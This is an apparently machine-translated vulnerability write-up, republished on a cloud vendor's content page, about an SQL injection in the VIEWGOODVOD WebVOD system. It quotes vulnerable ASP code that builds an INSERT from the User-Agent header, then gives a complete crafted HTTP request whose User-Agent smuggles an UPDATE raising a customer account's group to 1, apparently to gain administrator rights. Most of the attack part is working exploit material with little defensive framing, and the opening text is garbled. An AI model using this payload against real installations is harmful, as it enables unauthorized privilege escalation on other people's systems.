An injection vulnerability in an ancient VOD System

Source: Internet
Author: User
The VIEWGOODVOD System (WebVOD) vulnerability is generated in the webmediaoemuiuserguest file. asp. to access this page, you must register the relevant code: szAgentRequest. serverVariables (HTTP_USER_AGENT) aTmpInfoSplit (szAgent, (,-) aAgentInfoSplit (aTmpInfo (1),;,-) sz

Viewgood vod (WebVOD)
Vulnerability originated from file/webmEdIa/oemui/user/guest. asp. to access this page, you must register

Related code:

 
 
  1. szAgent = Request.ServerVariables("HTTP_USER_AGENT")  
  2.     aTmpInfo = Split(szAgent, " (", -1, 1)  
  3.     aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)  
  4.  
  5.     szBrowser = aAgentInfo(1)  
  6.     if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then  
  7.         szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)  
  8.     else  
  9.         szOS = aAgentInfo(2)  
  10.     end if  
  11.     szClientIP = Request.ServerVariables("REMOTE_ADDR")  
  12.  
  13.     szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')" 
  14.     con.Execute szSQL 

 

HTTP_USER_AGENT can be constructed by ourselves.

POST /webmedia/oemui/user/guest.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
Referer: http://you.are.fucked.cn/webmedia/oemui/user/guest.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0','');update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: you.are.fucked.cn
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;

memo=aaaa&submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.